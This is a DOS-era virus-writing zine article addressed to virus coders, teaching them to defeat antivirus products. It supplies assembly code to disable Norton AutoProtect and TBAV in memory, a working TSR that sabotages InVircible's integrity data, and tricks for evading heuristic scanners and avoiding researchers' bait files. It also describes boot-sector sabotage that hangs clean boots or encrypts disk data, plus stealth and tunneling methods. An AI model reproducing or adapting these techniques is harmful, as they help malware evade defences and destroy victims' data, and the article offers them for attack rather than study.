Resist!
Further virus strategies
by
Mouth of Sauron
Disabling AutoProtect and NAVTSR
---------------------------------------------------------------------------
One of the first antivirus programs available for Windows 95 was Norton
Antivirus. Except for the user interface, nothing much changed. The detection
ratio and protection level is a joke. But nevertheless a lot of people use
NAV(95) and have NAVTSR or AutoProtect installed, which should protect them
from "all known and unknown" viruses. Hmmm, the Symantec advertisement is
also quite funny, all that crap about 32 bit viruses. So far, no 32 bit
virus is known, except Bizatch which was not finished when NAV95 was
available in the shops.
There are several possible ways to attack NAV, I will describe two of them
here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows
you to detect, disable and enable the VxD/TSR, similar to VSAFE
(remember VSLAY?):
* The NAVTSR and AutoProtect API:
- NAV 4.0 (NAV for Windows 95):
Detect:
MOV AX,0FE00H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Results:
-> AX = 0 TSR not active
AX = 1 TSR active
SI = 6E61H
DI = 6E75H
Enable:
MOV AX,0FE01H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Disable:
MOV AX,0FE02H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
The second approach is to delete the data files NAV uses to immunise files
and the boot sector. NAV puts all this data into some files which are
located in "\NCDTREE" by default, one directory for each drive. The user
could change the location of these data files, but this option is well
hidden so I guess none of these dummy users will ever change it. Well,
just delete the files in "\NCDTREE" and NAV will recreate all the data
without any warning next time it is called.
By default, NAV doesn't scan the upper memory area (UMB) and will not
detect viruses which go resident there. It's always a good idea to use
UMB for staying resident, so use it!
TBAV: No changes!
--------------------------------------------------------------------------
* Disabling TBDRIVER:
Although the method to disable TBDRIVER (from the great TBAV antivirus
program) has been known for several months and several viruses are known
to use this trick, Thunderbyte B.V. has done nothing to protect it's product
against this attack. Up to version 6.51, the entry point code of TBDRIVER
looks the same and can be modified without problems.
Just scan the memory for
EB 05 (*)
EA xx xx xx xx
FA
9C
FC
53
50
To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK
and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is
then disabled and can't intercept your virus. Furthermore, you can get the
original INT 21h vector which is stored after the "EA" (FAR JMP).
A good idea is to do the scanning while tracing INT 21h. When you patch the
driver at once, no trace warning will be displayed. But simple INT 1 tracing
is now quite dangerous, as there are many watchdog TSRs which intercept it.
To prevent detection by these tools, you could scan each of the MCB areas
(but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the
signature, or you can use recursive tunneling. If you don't know recursive
tunneling, take a look at ART (was released in an older VLAD magazine).
It can be done even more easily, just code emulate the most important
branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the
interrupt chain. As this is only emulation and not real single-step tracing,
it can't be intercepted. The most effective method to get the original
INT 21h vector is kernel scanning, which I will explain later in this text.
Besides the scanner and resident watchdogs, TBAV contains a tool called
TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not
use code emulation but rather does stupid INT 1 tracing with some security
checks to prevent the virus from activating. The first virus which managed
to activate while being cleaned with TBCLEAN was Varicella, but the method
used to cheat TBCLEAN no longer works. Still, there are some ways to fool
TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h,
AH=08h INT 10h or other INT 21h API calls, stack modifications
(DEC SP, INC SP) or prefetch queue tricks to stop TBCLEAN from cleaning a
file. COM infectors also can do a quick jump back to offset 100h to stop
the cleaning process, but it is much more interesting to use TBCLEAN as a
vector. TBCLEAN of course prevents all direct manipulation of the interrupt
vector area (you also can use this to stop TBCLEAN), but obviously TBCLEAN
has problems handling segment overrides like DS: ES: and the others.
A simple example. Try to (TB)clean this little COM program:
mov AX,4c00h
db 2eh
int 21h
nop
Funny, isn't it? The segment override in combination with the NOP prevents
TBCLEAN from detecting the interrupt call, which will get executed for real
now! To fully activate your virus, you could use AX=2521h (Set interrupt)
to set a new interrupt 21h routine.
Keep in mind that this override/NOP structure could be used for possible
heuristic flags, so hide it behind a layer of (polymorphic) encryption.
AHA - A dangerous new heuristic engine
---------------------------------------------------------------------------
Unnoticed by most virus coders, S&S added a new heuristic engine to their
already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit.
Besides it's very good hit ratios and detection of even the most polymorphic
viruses, it also causes almost no false positives. But this is also the weak
point of the heuristic. The coders' first aim was obviously for the
heuristics not to cause any false positives, and the checks it does to
prevent them are quite easy to come by. At first, the entry point of the
program must be around 200 to 4000 bytes before the end of file. Normally,
encrypted viruses look like this:
.---------------------------------------.
| v
.----.----------------------------------.----.---------------------.
| 1 | 2 | 3 | 4 |
'----'----------------------------------'----'---------------------'
(1) = Program header, now points to virus entry point at (3)
(2) = Old program code
(3) = Entry point of virus with the decryptor
(4) = Encrypted virus code
This AHA detects without problems, but it fails to detect the same (!) virus
if it's modified like this:
.-----------------------------------------------------------------.
| v
.----.----------------------------------.----.---------------------.-.
| 1 | 2 | 3 | 4 |5|
'----'----------------------------------'----'---------------------'-'
^ |
'-------------------------'
(1) = Program header, now points to virus entry point at (5)
(2) = Old program code
(3) = Real entry point of virus with the decryptor
(4) = Encrypted virus code
(5) = Simple or hidden jump to real virus start at (3)
If the entry point lies out of the usual area, AHA thinks it's a normal
program and stops analysing it. Besides this, AHA is very susceptible to
anti-heuristic structures and it only cares about normal file infectors,
ignoring boot viruses completely. AHA also doesn't emulate the interrupt
or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop
AHA from emulating code. Stack modifications also confuse AHA, similar to
prefetch queue tricks, but as these queue tricks don't run on Pentiums,
it's no longer possible to use them. AHA is very effective at detecting
polymorphic engines which create large amounts of garbage opcode, so create
only "smooth" decryptors with your polymorphic engine.
Slow motion
-------------------------------------------------------------------------------
I already discussed slow polymorphic engines some time ago, but as this
is quite important I'm mentioning it here again. Most virus coders think
that a polymorphic engine is good when it's very variable and changes
with every infected file. This is true to some extent, but this also
allows the virus researchers to quickly analyse the engine by just creating
a few hundred files. Usually, the AV researchers get a lot of new viruses
every week and they don't have the time to fully analyse every single virus.
So, if the virus looks static after quickly infecting five or ten files, the
researcher won't do further analysis and will just add a simple scan string
to their product. This will happen if you are using a slow polymorphic
engine, or at least slow down the randomizing of it. It might be a good
idea to fetch the neccessary random factors only one time per day, at the
time when the virus goes resident for example (what, your virus is not
resident? Argh!).
Also, use the system date instead of the system time to create random
numbers. If the created decryptors change only very slowly, it'll become
quite difficult to create enough representative infected bait files.
Instead of inserting garbage opcodes, your engine should add "real" code,
which looks like useful code. Use branches (calls!) and do many time
consuming loops. An example of this is SMEG, which creates huge decryptors
but the decryption method itself is too weak. It's useless to write a
polymorphic engine which creates 2000 byte large decryptors but only
uses a simple 8 bit XOR for encryption. Consider this for your engine and
use several different encryption methods in combination. Another interesting
method to fool scanners, especially TBSCAN is to fake known file headers
like PKLITE, LZEXE or TURBO C. For example, all PKLITE compressed files
always begin with:
B8 xx xx mov AX,????
BA xx xx mov DX,????
05 xx xx add AX,????
3b 06 02 00 cmp AX,[2]
73 1a jnb Label_1 or: 72 1b jb Label_1
2d 20 00 sub AX,20h b4 09 mov AH,9
FA cli ba ?? ?? ba 18 01
If your virus begins with these harmless opcodes, TBSCAN will just report
"Looking ... > cp" and will stop scanning the file, thinking it's compressed
with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them,
but keep in mind that these are fixed strings. A polymorphic engine could
possibly fake a couple of these known file headers in order to cause
confusion.
Lastly, most code emulators don't fully emulate all interrupt 21h API
calls. So, use some of them which result in known register contents, for
example AH=52h INT 21h. This only returns a vector to the SYSVARS list in
memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2)
returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for
example by creating a simple RETF there and then FAR CALLING this address.
Generic Anti-Anti-Virus?
-----------------------------------------------------------------------------
There were many discussions about InVircible, a generic antivirus toolkit
from NetZ Computing. The result of this was some anti-InVircible viruses
which attack it by deleting the data files, IVB.NTZ by default. Of course,
it's possible to rename this file, and one virus coder solved this by
scanning every file in the current directory for the usual IVB.NTZ file
header. Zvi Netivs' answer to One13th is to use variable file headers for
IVB.NTZ, so you can't scan for them anymore. In fact, he is faking known
file headers like EXE files and ZIP or ARJ archives. But it's still very
easy to do a generic approach in order to find the data files. The solution
I present here is very easy. When IVB.EXE starts, it checks the IV.INI
configuration file for the SIG= parameter. The little TSR following here
just intercepts this and overwrites the signature name in memory. IVB just
says that it's renewing the data file and ignores any changes done to
programs! Of course, it's possible to read out the data file name and
delete it afterwards, or simply to delete IV.INI. In this case, InVircible
just uses the standard IVB.NTZ name again. It is very important that your
virus stops infecting and stealthing files when InVircible is executed
because the virus checks are good and will most likely detect the virus,
even if InVircible can't read it's data files.
This is just a simple TSR, not a virus!
org 100h
Virus_StartUp: mov ax,3521h
int 21h
mov word ptr [OldInt21],bx
mov word ptr [OldInt21+2],es
mov ah,25h
mov dx,offset NewInt21
int 21h
mov ah,31h ;Stay resident
mov dx,(Virus_End-Virus_StartUp+100h)/10h+1
int 21h
NewInt21: cmp ah,3fh ;Read file access?
je l_Read
EndInt21: db 0eah ;Jump back to old int21
OldInt21 dd 0
l_Read: pushf ;Read in the data
call dword ptr cs:[OldInt21]
jc l1
pushf
or ax,ax ;Nothing read?
jz l3
push ax
push cx
push si
mov si,dx
sub ax,4
xchg cx,ax
cmp word ptr [si],"IS" ;'SIG='?
jne l2
cmp word ptr [si+2],"=G"
jne l2
l4: cmp byte ptr [si+4]," " ;Wipe signature name
jb l2
mov byte ptr [si+4]," "
inc si
loop l4
l2: pop si
pop cx
pop ax
l3: popf
l1: retf 2
Virus_End label byte
You also might intercept the executing of IVB.EXE and add '/V' to the actual
command-line! IVB will remove all the data files on it's own...
Anti-Bait
---------------------------------------------------------------------------
Anti-bait routines will further improve the stealth abilities of a virus and
will keep stupid AV researchers from creating infected bait files without
problems. When an AV researcher gets a new virus, he usually creates some
samples with specific baits. Some AV companies have their own special bait
collection which they use for testing the cleaning ability of their product.
So it's quite neccessary for them to create baits. Some antivirus programs
also create baits and execute them in order to catch active viruses. It's
quite easy to avoid these bait traps if your virus doesn't infect files on
the following conditions:
1. The executable file has the actual day, month and year set in it's file
time stamp. Baits are usually created shortly before the virus should
infect them, so this is one easy method to avoid baits. Normal programs
are usually older than one month, so this is no real problem for the
virus.
It even helps the virus to stay unnoticed, as new software is usually
especially carefully screened.
2. Do not infect files which have numbers in their file name. Baits are
usually numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they
are created using AH=5ah INT 21h (Create temporary file), whose file
names also contain numbers.
This should be enough to prevent infecting most bait files, but there are
more things your virus could check:
3. Store the length of file name of an infected file and don't infect the
next file if it has the same name length. This is neccessary when the AV
researcher doesn't use numbers but letters for numbering the bait files
(eg BAITA.COM, BAITB.COM, BAITC.COM).
4. As 3. doesn't work if only one bait file is created, you could further
check if the file is located in the root directory. A lot of antivirus
programs create their files in the root directory of the actual drive,
or use C:\. You check this by checking the file name for the amount
of '\'s. Skip files which only have one '\' in their name, that's all.
You might need to exclude COMMAND.COM from this check if you still want
to infect it.
5. A very powerful method to avoid baits is to add a timer function which
prevents the virus from infecting files in a short interval. Just set
this timer to 1-10 minutes and creating large amounts of baits will
become a big problem. It might also be funny to add a timer which will
add a pause after the virus activation and keep the virus from infecting
files too soon.The larger variants of Sirius.Alive use this.
Keep in mind that the AV researcher can't patch the virus in order to remove
these checks. They need unmodified versions of the virus and can't avoid all
this anti-bait stuff.
Armoured boot viruses
----------------------------------------------------------------------------
Boot viruses are the most common viruses in the world. Viruses like Monkey,
Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible
for almost 90 percent of all infections world-wide. By now, most users know
the 'undocumented' FDISK parameter '/MBR' which will replace the partition
sector loader code with the standard DOS code, removing a virus from the
partition sector. This works fine with almost all viruses, but with Monkey
a new infection scheme was introduced which will cause total loss of data
when the user tries to use 'FDISK /MBR'. All methods described below require
that the virus is resident and has full stealth abilities or the system will
halt at the next reboot. Monkey uses a simple trick: it not only infects the
partition code but changes the master boot record at offset 1BEh to an
invalid partition record. If you boot the system from a clean disk, the virus
is gone and you can't access the hard disk anymore from DOS! Some stupid AV
programs still can't handle this situation and refuse to scan the hard disk,
not being able to detect or clean the virus now! If you now use FDISK, it
will overwrite and remove the virus, but will keep the invalid partition
record.
The second method is quite unknown but just a simple improvement of the first
one. And it's quite surprising for the unskilled user! To make it short:
Just scan the partition record for the active partition entry (the one which
is flagged with 80h), change it's type to EXTENDED (05h) and set the start
cylinder/head/sector to 0/0/1. This causes an endless loop when you try to
boot from a clean disk. The system just hangs up and it's not possible to
boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug,
only IBM-DOS will finish the boot sequence, but as the partition record is
invalid, you will only get 'Invalid drive C:' if you try to access the hard
disk. So far, only a Gingerbread variant uses this trick, but it's very easy
to add this feature to a boot virus and most people use MS-DOS, so why not
use it?
The third method is much more troublesome and causes real problems if
it's not coded correctly. The idea is to encrypt the whole hard disk data
area, like Onehalf does. Of course you can't encrypt the whole hard disk at
once (a virus that needs hours to install seems very obvious to me...),
but instead encrypt just a few sectors, starting at the beginning or end of
the hard disk data area. Most AV programs can clean Onehalf now, but they
only remove the virus from the partition and clean the files, but don't
decrypt the hard disk. At last, use variable encryption when storing the
original partition sector. Some AV programs scan the whole hard disk for
those copies and use them for cleaning. Some programs can even rebuild the
partition record if it's completely wiped and only the boot sectors are
available. So it might be a good idea to encrypt them too.
Some comments about file infection
----------------------------------------------------------------------------
A lot of resident watchdogs heavily rely on INT 2Ah while intercepting
system calls. Every time a INT 21h API call is done, the DOS kernel calls
INT 2Ah with AH=80h after the INT 21h API call has finished. DOS doesn't
call INT 2Ah after every function, but after all API calls which are
necessary for viruses. By intercepting INT 2Ah and determining the
original registers the watchdog can easily bypass and detect the virus!
So it's a good idea to set INT 2Ah to a do-nothing handler while infecting
files. Like INT 24h, just set it to an IRET opcode. This will leave a few AV
watchdogs powerless, for example the AVP TSR or PCRX use this method to
intercept system calls.
Some stupid AV watchdogs even do a primitive handle check before doing
further checks to the file handle. They only care about handles which are
equal or higher than 5 (they just do a stupid BX>=5 check instead of using
IOCTL). Normally, all handles below 5 are system handles and are occupied by
PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h
(Duplicate file handle) you can copy such a system handle to a higher handle,
close it and reopen the target file. This new handle will then be a low
handle, and a lot of watchdogs will ignore file modifications which are done
while using this handle. After infecting the file, just copy back the system
handle from the higher location to the still opened lower handle.
More comments about interrupt usage
----------------------------------------------------------------------------
Of course all of you know how to disable VSAFE in memory, using it's own API.
But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove
VSAFE because now some AV watchdogs intercept this special call and will block
yourvirus! VSAFE by itself never uses this call directly, so only viruses
can be the reason for such a call. It's much more efficient to use recursive
tunneling or kernel scanning to bypass this stupid watchdog.
Don't use things like
mov AX,0deadh
int 21h
cmp AX,0acdch
je Virus_Installed
for determining if your virus is already active! First of all, TBSCAN and
other heuristic tools will detect this at once as a virus structure and
some AV watchdogs will intercept any strange INT 21 function in order to
catch resident viruses while they install themselves in memory. Instead,
use some 'normal' functions like AH=30h. For example, it's much harder to
intercept:
mov AX,3096h
mov SI,1996h
mov DI,1996h
int 21h
cmp AL,3
jne No_Virus
cmp SI,1997h
jne No_Virus
cmp DI,1997h
je Virus_Installed
The watchdog TSR now can't distinguish between a normal DOS version check
and a virus are-you-there call.
Or you could add more checks like a special SP range if your virus infects
EXE only. If the virus always installs a new SP from 200h to 220h, don't
react to self-check calls if the SP range is invalid. Some AV programs call
all the known virus 'are-you-there' calls in order to detect the presence of
a virus.
Don't use simple INT 1 tracing! Almost every quality AV watchdog will
intercept this (or it's absolutely worthless). Ita much better to use
recursive tunneling or kernel scanning. Kernel scanning is very easy. The
approach I now explain will work with MS-DOS and IBM-DOS when the DOS kernel
is in the HMA, but it's easy enough to find the entry point when DOS is
loaded low (for example when the user pressed F5 while booting).
The first thing you need is the DOS data segment. You can get it by calling
AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for
the following structures:
90 nop
90 nop
E8 ?? 00 call A20_Check
2E FF 2E xx xx jmp far CS:[xxxx]
90 nop
90 nop
...
There's a whole bunch of these calls, so after detecting the first one skip
14h bytes in order to get the INT 21h entry point. Now you might patch this
code fragment directly or further trace the JMP FAR into the HMA.
You could also scan the HMA directly, just search for:
FA cli
80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h)
77 ?? ja ?? (in fact, these 7x calls are used for
80 FC 33 cmp AH,33h long file name access and drive locking)
72 ?? jc ??
74 ?? jz ??
80 Fc 64 cmp AH,64h
...
This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry
point is at FF06h:41E7h), and don't forget to enable the HMA before scanning
this area. The simplest way to enable the HMA is to call a do-nothing INT 21h
like GET DATE.
A more interesting way to get the original INT 21h entry point is recursive
tunneling. Instead of using the CPU single step mode you could emulate the
most important jump operands and trace trought the interrupt chain. Unlike
real tracing, this can't be intercepted by a watchdog. The only
countermeasure is to add some traps in the watchdog code which the recursive
tunneler can't emulate. Recursive tunneling is quite easy to do, just get
the actual INT 21h vector and scan the area around this entry point for
instructions like:
2E FF 2E xx xx jmp far CS:[xxxx]
2E FF 1E xx xx call far CS:[xxxx]
9A xx xx yy yy call far yyyy:xxxx
EA xx xx yy yy jmp far yyyy:xxxx
Of course it's neccessary to check if the destination vector is valid. Just
scanning for EAh or 9Ah is quite uncertain, so instead you should scan for
9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI
which are often used before returning to the old INT 21 vector). It also
might be a good idea to emulate SHORT or NEAR JMPs, especially when they are
the first instruction at the entry point of the INT 21h vector.
It's a good idea to do some AV watchdog scanning while tracing with the
recursive tunneler and patch the TSR code in memory.
If you need the original INT 2Fh entry point, for example if you use AH=13h
INT 2Fh and don't want that your undocumented INT 2F call to be intercepted
just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS,
DOS places a FAR JMP at this location which can be used to get a secure
INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You
should check the this vector before using it, normally it points to a JMP FAR
instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h)
which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this
directly points into the HMA (segment above F8xxh). If you need to access
the HMA without a watchdog being able to intercept this call scan the HMA
for:
FB sti
80 FC 11 cmp AH,11
75 0A jnz l1
0A C0 or AL,AL
74 03 jz l2
E8 DC FF call l3
CA 02 00 retf 2
80 FC 10 cmp AH,10
This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and
AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA
before scanning the area at F800:xxxx, but usually the HMA is already active
if you called an INT 21h beforehand.
When your virus is a full file stealth virus, you should consider adding SFT
stealth. It's quite useless to hide the true file length at AX=4202 INT 21h
when the AV program can bypass the virus by checking the file SFT entry.
SFT stealth is quite easy to code, directly after opening an infected file
reduce the file length in the SFT entry of that file and mask the file date/
time stamp if your virus use an illegal time stamp to mark infected files.
This causes no problems unless a program tries to write to such a modified
handle. To prevent FAT corruption you should then return the SFT to it's
former state when a AH=40h INT 21h is called. To recognise a modified handle
you maybe could use the SFT vector as an ID. It's not necessary to fix the
handle before it's closed when no changes were done to the file. Besides
having a better stealth cover, the virus no longer needs to intercept
AX=4202 INT 21h in order to prevent reading from the true file end. Only
AH=3Fh INT 21h has to be intercepted, and only in the case that a program
tries to read in the modified file header.